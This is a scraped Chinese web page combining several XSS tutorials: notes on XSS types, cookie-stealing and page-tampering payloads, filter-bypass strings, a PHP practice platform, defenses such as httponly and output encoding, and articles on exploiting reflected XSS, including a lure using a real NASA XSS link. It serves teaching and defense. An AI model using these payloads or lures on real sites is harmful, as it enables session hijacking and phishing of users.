推荐这篇日记的豆列
&&&&&&&&&&&&跨站脚本简称xss（cross-site scripting），利用方式主要是借助网站本身设计不严谨，导致执行用户提交的恶意js脚本，对网站自身造成危害。xss漏洞是web渗透测试中最常见而又使用最灵活的一个漏洞，近期在拜读了《白帽子讲web安全》、《Web实战篇》、《XSS跨站脚本攻击剖析与防御》等几部佳作后，决定整理关于Xss漏洞的一些知识，并以本篇作为记录，权当笔记or读后感。
本篇内容主要包含xss漏洞攻击与防御理论知识，以及结合原创的xss漏洞闯关平台，通过实操的方式展示xss的攻击以及防御方法。由于xss理论知识网上非常丰富，这里不做详细讲解，本篇内容着重实操练习的过程。
xss大致分为：反射型、存储型、DOM型（这三种为主流）
反射型xss：只是简单地把用户输入的数据”反射”给浏览器，攻击时需要用户配合点击，也叫”非持久型xss”。
存储型xss：会把用户输入的数据”存储”在服务器端，也叫”持久性xss”，常见留言板等可以提交展示用户输入内容的功能点。
DOM型xss：从是否存储可划分成反射型，可通过修改页面的DOM节点形成的xss漏洞。
xss漏洞是发生在客户端，目的是让浏览器执行一段用户提交的恶意js代码，从而达到某种目的。从表面上看，xss漏洞的危害止步于客户端，且主要就是用来执行js获取用户信息（比如浏览器版本等等）。然而由于xss漏洞可能发生的地方很多，因此被利用的情况也不统一，以下列举了xss漏洞能够造成的一些危害（xss漏洞危害包含但不仅限于以下几种）。
cookie劫持（窃取cookie）
后台增删改文章等操作（类似于csrf骗取用户点击，利用js模拟浏览器发包，借助xmlhttprequest类）
钓鱼，利用xss构造出一个登录框，骗取用户账户密码。
Xss蠕虫（利用xss漏洞进行传播）
修改网页代码
利用网站重定向
获取用户信息（如浏览器信息，IP地址等）
利用xss窃取cookie
利用xss进行cookie获取劫持是最常用的一种姿势，因为其能获取到管理员权限，危害较大，且利用简单。
cookie介绍
cookie分为内存cookie和硬盘cookie，内存cookie储存在浏览器内存中，关闭浏览器则消失。cookie由变量名与值组成，其属性里有标准的cookie变量，也有用户自定义的属性。
cookie格式：Set-Cookie:=[;=][;expiress=][;domain=][;path=][;secure][;httponly]
cookie各个参数详细内容：
Set-cookie:http响应头，向客户端发送cookie。
Name=value:每个cookie必须包含的内容。
Expires=date:EXpires确定了cookie的有效终止日期，可选。如果缺省，则cookie不保存在硬盘中，只保存在浏览器内存中。
Domain=domain-name:确定了哪些inernet域中的web服务器可读取浏览器储存的cookie，缺省为该web服务器域名。
Path=path:定义了web服务器哪些路径下的页面可获取服务器发送的cookie。
Secure:在cookie中标记该变量，表明只有为https通信协议时，浏览器才向服务器提交cookie。
Httponly:禁止javascript读取,如果cookie中的一个参数带有httponly，则这个参数将不能被javascript获取；httponly可以防止xss会话劫持攻击。
利用xss窃取cookie方法
本地写一个xss_cookie.php页面，用于接收cookie。
在存在xss漏洞的地方，插入以下代码，便可以将cookie发送到xss_cookie.php，并且将cookie参数传递进去，写入文件中。
常用获取cookie的js代码(可自行扩展):
&img src="http://localhost/cspt/XSS_cookie.php?cookie='+document.cookie"&&/img&
&script&new Image().src="http://localhost/cspt/XSS/xss_cookie.php?cookie="+document.&/script&
提交之后，本地cookie.txt文件中就会写入cookie值。
利用xss篡改网页
前提：网站必须存在存储型xss漏洞，并且会将结果返回到页面上。
这样我们就可以插入一段js代码，作用在于获取网站源码中的标签，然后修改其中的属性值，达到修改网页的效果。
实例：修改网站所有连接地址
本地编写一个test.js脚本，内容如下：
将以下语句插入存在存储型xss漏洞的网站
&script type='text/javascript' src='http://localhost/cspt/XSS/test.js'&&/script&
可以发现存在该漏洞的网页上所有的链接都变成了。
注：javascript加载外部的代码文件可以是任意扩展名（无扩展名也可以）
利用xss获取用户信息
xss获取用户信息，运用最多的还是获取cookie信息，但除此之外，还可以获取用户浏览器版本、外网IP地址、浏览器安装的插件类型等等。以下列举了利用xss获取的客户端用户信息（包含但不仅限于以下几种）。
alert(navigator.userAgent);读取userAgent内容
alert(document.cookie);读取用户cookie内容
利用java环境，调用java Applet的接口获取客户端本地IP
注：利用Xss漏洞能做的事有很多，前面已经列举了一些，这里便不对每一个都展开讲解，如需了解更多的xss漏洞内容，最好的方式还是看书。
Xss漏洞探测
前面介绍了一些xss漏洞的基础内容，那么如何去检测一个网站（某个点）是否存在xss漏洞呢？
我们可以在测试xss的位置写入以下代码，查看页面源码，观察哪些代码被过滤或者转义。
'';!--"&XSS&=&{()}
xss探针可检测出网站有没有对xss漏洞做最基础的防御。
基础xss语句
除了xss探针以外，我们也可以输入最简单的测试语句：
&script&alert(/xss/)&/script&
如果插入的语句被原封不动的呈现在了浏览器中，那么说明了2个问题：
代码没有被过滤，说明存在xss
代码没有被执行，因为没有闭合类似textarea标签，可以查看下源码。
如果发现某些参数被过滤了，那么尝试使用其他方式（详细介绍在绕过一节会讲）。
xss检测常用语句
列举一些常用的xss漏洞检测代码：
&script&alert(/xss/);&/script&
&script&alert(/xss/)//
&script&alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&/script&//用分号，也可以分号+空格（回车一起使用）
&img src=1 onmouseover=alert(1)&
&a herf=1 onload=alert(1)&nmask&/a&
&script&window.a==1?1:prompt(a=1)&/script&
&script&a=a(1)&/script&
&img src=0 onerror=confirm('1')&
如何利用xss漏洞实施攻击并不是身为安全工程师的重点，xss防御才是我们努力要去做的。以下列举几种常见的xss防御方式，个人认为也是非常有效的方式。
可在cookie中设置httponly（浏览器禁止页面的js访问带有httponly属性的cookie）
xss filter（检查输入，设置白名单方式）
输出检查（编码，转义，常用编码：html编码，js编码，16进制等)
针对不同位置的输出，使用不同的处理方式
处理富文本
设置httponly
httponly无法完全的防御xss漏洞，它只是规定了不能使用js去获取cookie的内容，因此它只能防御利用xss进行cookie劫持的问题。Httponly是在set-cookie时标记的，可对单独某个参数标记也可对全部参数标记。由于设置httponly的方法比较简单，使用也很灵活，并且对防御cookie劫持非常有用，因此已经渐渐成为一种默认的标准。
xss filter
Xss filter往往是一个文本文件，里面包含了允许被用户输入提交的字符（也有些是包含不允许用户提交的字符）。它检测的点在于用户输入的时候，xss filter分为白名单与黑名单，推荐使用白名单，但即使使用白名单还是无法完全杜绝xss问题，并且使用不当可能会带来很高的误报率。
编码方式有很多，比如html编码、url编码、16进制编码、javascript编码等。
在处理用户输入时，除了用xss filter的方式过滤一些敏感字符外，还需要配合编码，将一些敏感字符通过编码的方式改变原来的样子，从而不能被浏览器当成js代码执行。
处理富文本
有些网页编辑器允许用户提交一些自定义的html代码，称之为”富文本”。想要在富文本处防御xss漏洞，最简单有效的方式就是控制用户能使用的标签，限制为只能使用a、div等安全的标签。
处理所有输出类型的xss漏洞
xss漏洞本质上是一种html注入，也就是将html代码注入到网页中。那么其防御的根本就是在将用户提交的代码显示到页面上时做好一系列的过滤与转义。
HTML标签中输出
即用户输入的内容直接在标签中显示:
&div&$input&/div&
防御方式，将用户输入进行html编码。
HTML属性中输出
即用户输入的内容出现在标签的某个属性中：
&div name="$input"&&/div&
防御方式，将用户输入进行html编码。
Script标签中输出
即用户输入的内容出现在script标签里面：
var a="$input";
// $input=";alert(/xss/);//"; 则会产生xss漏洞
防御方式，将用户输入进行javascript编码。
在事件中输出
即在事件标签中输出用户输出的内容，比如onclick标签等。
防御方式，将用户输入进行javascript编码。
在CSS中输出
即用户输入的内容出现在了css的style等标签中。
防御方式，进行十六进制编码。
在地址中输出
这个跟在html属性中输出类似，即在a标签的href属性中输出。
防御方式，将用户输入进行url编码。
总结：总得来说防御xss的方式只是三种：httponly、过滤字符、转义字符。然而使用何种编码转义，什么地方需要做转义才是真正防御xss漏洞的难点及重点，如果能搞明白并解决这个问题，那么xss漏洞将会无处可寻。————《白帽子将web安全》一书xss篇读后感。
Xss绕过技巧
有xss防御便会有xss绕过防御姿势，这是攻与防不断博弈的表现与成果。作为一名安全工程师，了解如何绕过xss防御可以更好地解决xss防御问题。（这里探讨的绕过xss防御不包含绕过waf的部分）
绕过xss filter
绕过xss filter的前提在于，xss filter使用了黑名单，并且没有过滤完全。
前提一：如果过滤了”《script》”字符串,但没有过滤”&”、”&”字符，则可以使用javascript:[code]伪协议的形式。
&img src="javascript:alert('test');"&
前提二：过滤了《script》，且只过滤一次。
&scr&script&ipt&
前提三：没有正确处理空格、回车等字符
&img src="javas
Alert(/xss/)" width=100&
关于绕过xss filter的方式还有很多，这里不一一展开了，只是列举下常见的方法：
转换大小写
大小写混写
双引号改单引号
用全角字符
使用javascript伪协议
使用回车、空格等特殊字符
在css的style中使用/**/注释符
使用字符编码
利用事件触发xss
Xss闯关实操
为了加深对xss漏洞的理解，我特意用php编写了一套xss闯关练习平台，里面包含了一些常见的xss防御题型，我们需要做的就是如何去绕过这些防御，以及思考这些防御的弱点在于哪里？
xss闯关练习平台页面展示：
因为时间有限，并没有对页面进行美化，凑合着用用~!~。
平台题目由易到难，接下来的实操以及介绍也会从简单到复杂。介绍时，我会分别展示php源码中的防御方式（展示服务端代码），以及如何去绕过这些防御（展示客户端html代码）。
无任何过滤
下图是最简单的一个xss练习例子，网页从url中获取参数id的值，直接在页面中显示出来，没有做任何过滤。
查看网页源代码：
查看php代码：
$id=$_GET['id'];
echo '当前提交的参数:'.'&font color=red&'.$id.'&/font&';
过滤《script》
那么一般情况下，网站不可能对用户输入不做任何过滤，比如以下案例：
通过观察html代码我们可以看到过滤了《script》以及《/script》，查看下php代码：
$id=$_GET['id'];
$id=preg_replace("/&script&/", "", $id);
$id=preg_replace("/&\/script&/", "", $id);
echo '提交的参数:'.'&font color=red&'.$id.'&/font&';
绕过方式：
让我们增加点难度，直接看第5题：
这回我们输入内容后，网页直接显示报错，而不是返回过滤后的内容，这将会增加我们判断服务端过滤规则的难度。为了方便演示，我这边直接打开php代码查看（实际测试过程肯定是比较漫长的，需要一个个标签去试）
$id=$_GET['id'];
if (preg_match('/alert/i',$id)){
echo '出错啦!';
echo '提交的参数:'.'&font color=red&'.$id.'&/font&';
知道了服务端过滤了alert标签后，我们就可以构造绕过方式了:
能构造弹框的标签有好几种（当然真实环境应该不会只过滤弹框标签）
结合事件构造xss
乍一看第8题并没有什么很好的思路。
然后我通过查看html源码，寻找一些蛛丝马迹：
在测试几次后，我们发现网页源码中的变化：
让我们来看看php代码是怎么写的：
&form action="&?php echo $_SERVER['PHP_SELF']; ?&" method='post'&
YOUR CODE:&input type='text' name='code'/&
&input type='submit' name='submit'/&
可以看到php代码实现了将网页自身的url输出到form的action属性中。
查看下html源码
&form action="/XSS/xss_8.php /" onsubmit='alert(1)' name="" method='post'&
然后点击按钮，执行了onsubmit事件。
总结：关于xss的案例还有很多，由于篇幅的关系，这里不一一演示了。xss练习平台只是列举了最基础且常见的xss漏洞情况，实例后期可以再进行增加，而关键点在于通过实操可以让我们深刻理解xss发生的位置，以及如何更好地去防御它。
xss漏洞的利用离不开一个强大的xss平台，关于xss平台的搭建与使用，请移步：
说明：本文将会持续更新一些xss绕过以及防御姿势，目前本文对绕过以及防御姿势的描述有限，一是由于本人对xss漏洞理解不够深入，二是由于缺乏测试案例。但随着学习的深入，相信会记录更多更好的干货，尽情期待哦。
转载出自：http://thief.one//1/
您可以选择一种方式赞助本站
支付宝转账赞助
分享到各大网站
一个屌丝的安全之路从这里开始ing...软件与服务//
浅谈反射型跨站脚本攻击的利用
　　在Web 2.0技术的发展下越来越多的计算工作被放到客户端处理，由于程序员的疏忽，导致了许多的安全漏洞。如今，随着XSS漏洞的危害日益增大，如校内和baidu空间前阵子的XSS WORM等等，其危害之大也引起了大家的重视。
　　XSS的类型大体分为两种：反射型XSS和持久型XSS，相比之下，后者的利用要比前者方便许多。甚至许多人认为反射型的XSS是鸡肋，因为其利用起来很不方便,但在安全技术飞速发展的今天，鸡肋也有变鸡翅的一天。下面我们来看看什么是反射型XSS。
　　什么是反射型XSS
　　XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。
　　那么什么是反射型XSS呢?黑哥对我讲的是形如"http://www.jpl.nasa.gov/about_JPL/maps.cfm?departure=lax%22%3Cimg%20src=k.png%20onerror=alert(%22XSSed%20by%20sH%22)%20/%3E"这样需要欺骗用户自己去点击链接才能触发XSS的是反射型XSS，如在论坛发贴处的XSS就是持久型的XSS。
　　非持久性XSS(Reflected cross-site scripting)，是我们通常所说的反射型XSS，也是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接才能引起。
　　持久性XSS(Persistent cross-site scripting)，指的是恶意脚本代码被存储进被攻击的数据库，当其他用户正常浏览网页时，站点从数据库中读取了非法用户存入非法数据，恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。
　　很多人非常鄙视非持久性XSS(反射型XSS)，认为这种XSS只能依靠欺骗的手段去骗人点击，才能让攻击正常实施起来。其实让反射型XSS变得持久的方法，已经出现过好多次了。比如利用applet、利用flash的AS脚本、利用IE的Ghost 页面,Cross Iframe Trick等等。
　　反射型XSS的常见利用方法
　　既然是“需要欺骗用户自己去点击链接才能触发XSS”，那利用反射型XSS岂不是只有去忽悠用户这一种方法?放在几年前也许是这样的，现如今，就要上演鸡肋变鸡翅的好戏了!
　　不得不说这是最简单有效的利用方法了，但对忽悠的能力有严格的要求，不然用户不会那么容易上钩的。其次，现在的用户都有了一定的安全意识，也不是那么好骗了。以上面提到的链接为例，由于是NASA网站的跨站，大家完全可以在一些天文爱好者聚集的群里发类似这样的消息，如：“美国航空航天局公布最新UFO照片”然后加上我们的链接。由于是NASA的链接(现在连小学生都知道NASA是干什么的)，我想应该会有一部分人相信而去点击从而达到了我们的目的，这个反射型的XSS被触发。但如果不是这么碰巧呢?请往下看。
　　?ClickJacking
　　在去年的OWASP会议上，ClickJacking这种攻击方式被提了出来。简单来说ClickJacking大致是这么回事：
　　1. 表现为点击某个链接或button时，实际上是点击到别的地方去了(劫持链接)
　　2. 不一定需要javascript，所以noscript也挡不住，但是如果有javascript会让事情更简单
　　3. 攻击是基于DHTML的
　　4. 需要攻击者一定程度上控制页面
　　所以，我们只要将用户的点击劫持到我们的链接上去就行了，而且ClickJacking是可以跨域的哦~
　　具体应用示例大家去google下就有了。
　　?结合CSRF技术
　　CSRF是伪造客户端请求的一种攻击，CSRF的英文全称是Cross Site Request Forgery，字面上的意思是跨站点伪造请求。这种攻击方式是国外的安全人员于2000年提出，国内直到06年初才被关注。
　　结合CSRF技术来利用反射型XSS是种不错的方法，利用CSRF可以使得这些不好利用的XSS漏洞变得威力无穷。具体示例请参考余弦的《基于CSRF的XSS攻击》(http://huaidan.org/archives/2561.html)，这里就不细说了，有机会专门写篇关于CSRF的paper。
　　?Cross Iframe Trick
　　先讲讲这种攻击能够达成什么效果：
　　1. 跨域执行脚本(IE、Firefox)
　　2. 把非持久性XSS变成持久性XSS --&!!!
　　3. 跨页面执行脚本
　　这种攻击方法比较绕，具体请参考《Cross Iframe Trick》(/aullik5/blog/item/07d68eb015db1.html)
　　?反转雅典娜---配合Anehta的回旋镖模块
　　什么是Anehta? Anehta是一个跨站脚本攻击(XSS)的利用平台。功能模块化，开发者可以单独为anehta开发各种各样的模块，以满足独特的需求。Anehta中有许多的具有创意的设计，回旋镖模块(Boomerang)，就是其中一个。回旋镖模块的作用，是为了跨域获取本地cookie，只是在站点上有一个XSS，种类不限，不管是反射型XSS，还是持久型XSS，都可以为我们工作。
　　这时，反射型XSS的余热就被充分的发挥了。
　　浅析Anehta回旋镖模块工作原理
　　既然提到了Anehta的Boomerang模块，那就简单说说吧。
　　Boomerang的工作原理：我们知道，浏览器被XSS攻击后，攻击者可以用js或其他脚本控制浏览器的行为。这时候如果我们强制浏览器去访问站点B上一个存在XSS漏洞的页面，就可以继续用B站上的XSS_B控制用户的浏览器行为; 那么把整个过程结合起来，简单表示如下：
　　victim Browser ---&site A，XSS_A ---- redirect to ----&Site B，XSS_B ----- redirect somewhere ---&.....
　　在IE中，iframe、img等标签都是拦截本地cookie的。需要使用不拦截cookie的比如 window.open等方法，但是window.open会被IE拦截弹出窗口，所以axis牛在Boomerang中使用了表单提交，构造一个form，向site B提交，然后再从Site B导入一个XSS B，获取了cookie后，再通过表单提交，跳转回原来的Site A.如果在Site B上，使用XSS_B再将页面重新定向回 Site A，那么对于用户来说，就是简单的闪了一下，非常具有欺骗性，整个过程就像用回旋镖扔出去打了一下B一样。
　　但其实这并没有把反射型XSS真正的变成持久型的XSS，只是反射型XSS的一种攻击方式而已，也没有跨域，而是URL重定向转了一圈，跳了一圈又回来了。但这确实是让反射型XSS得到了充分的利用，达到了我们的目的。axis牛的这种思路非常值得我们学习!
　　本文只总结了常见的反射型XSS利用的方法，但都是简单的提了下，起到了个抛砖引玉的作用，让大家见到反射型XSS时能想到这些(貌似要都详细写出来就太多了- -：)，如有不足之处还请各位见谅。
&&&&& 原文出处：
关键词：XSS 跨站脚本攻击 Web安全 技巧
责任编辑：张帅
All Rights Reserved, Copyright , .cn渝ICP证B2-号 如有意见请与我们联系 powered by 天极内容管理平台CMS4i
京公网安备84号打开微信“扫一扫”，打开网页后点击屏幕右上角分享按钮
跨站脚本攻击（Cross Site Scripting，简称XSS，亦翻为跨网站的入侵字串）又有新的攻击语法！此次触发恶意脚本不需要用到script 标签（譬如&script&alert(1)&/script&），也不用javascript 协定（譬如javascript:alert(1)），而是8 月26 日所揭露的
&isindex type=image src=1 onerror=alert(1)&
<isindex type=image src=1 onerror=alert(1)>
&isindex&是一个很早就有但普遍少用的标签，其功能与&form&、&input&、&textarea&，以及&select&类似，都可供使用者输入资料。onerror属性也是鲜为人知。
各家浏览器在实现HTML的支援度不尽相同，各国语系又对编码有所差异，这些都使得跨站脚本攻击（XSS）的攻击语法千变万化，也让骇客更能规避掉不少治标的防护机制，像是WAF解决方案，毕竟新的攻击手法就要新的规则（好加在我们家的WAF可以帮你生规则，请参考你期望的WAF是？ XD），源码检测才是治本的作法阿，从Web应用程式端利用编码、过滤等方式让这些奇奇怪怪的攻击语法全部缴械！（请参考谈源码检测: CodeSecure的架构与技术） 我们在各个常见浏览器平台（Microsoft Internet Explorer、Mozilla Firefox、Opera，以及Google Chrome）的测试结果是，这个跨站脚本攻击（XSS）新攻击语法仅适用于IE系列的浏览器（含最新的IE8）。注：我们在下列示范中所采用的alert(1)字串可换成各种恶意脚本，而并非跨站脚本攻击（XSS）只能做到跳出一个视窗打招呼。
&isindex type=image src=1 onerror=alert(1)&
<isindex type=image src=1 onerror=alert(1)>
稍加调整甚至不需要定义src属性也可成功：
&isindex type=image onerror=alert(1) src=&攻击语法
<isindex type=image onerror=alert(1) src=>攻击语法
跨站脚本攻击（XSS）不亏是名列最新 OWASP Top 年OWASP十大Web资安漏洞）的榜首，「简单好用、防不胜防」！
简单来说，跨站脚本攻击（XSS）的基本精神就是骇客在HTML文件中安插网页脚本语言（譬如JavaScript或VBScript），让受骇方的浏览器在浏览网页时进而去执行。这延伸两个讨论议题：
1.为何骇客能够在HTML文件中安插这些脚本？
在Web 2.0的时代，大部分的网页或多或少都需要产生动态内容，都需要与使用者互动，一旦使用者所提供的资料（譬如恶意脚本字串）有机会成为动态输出的HTML内容的一部份时，这样恶意脚本就被成功地安插进原本合法无恶意的HTML文件了。这也是为何许多客户最后选择从源码检测着手，揪出这些进入点与输出点，治本地解决跨站脚本攻击（XSS）。
2.为何浏览器会去执行这些脚本？
浏览器只是如实地遵循W3C （World Wide Web Consortium）所制定的 HTML标准（目前最新版本为 HTML 4.01），正确地支援各语法标签应表现的样式与行为，因此当应该执行脚本时，就会执行这些脚本，尽管他们可能是恶意的，包括偷取Cookie、置换网页、转址、攻击其他网站等。
本文摘自网络由攻防研究室(www.91ri.org) 小组收集整理.转载本文请著名原文地址及原作者版权信息。
/ pentest-skills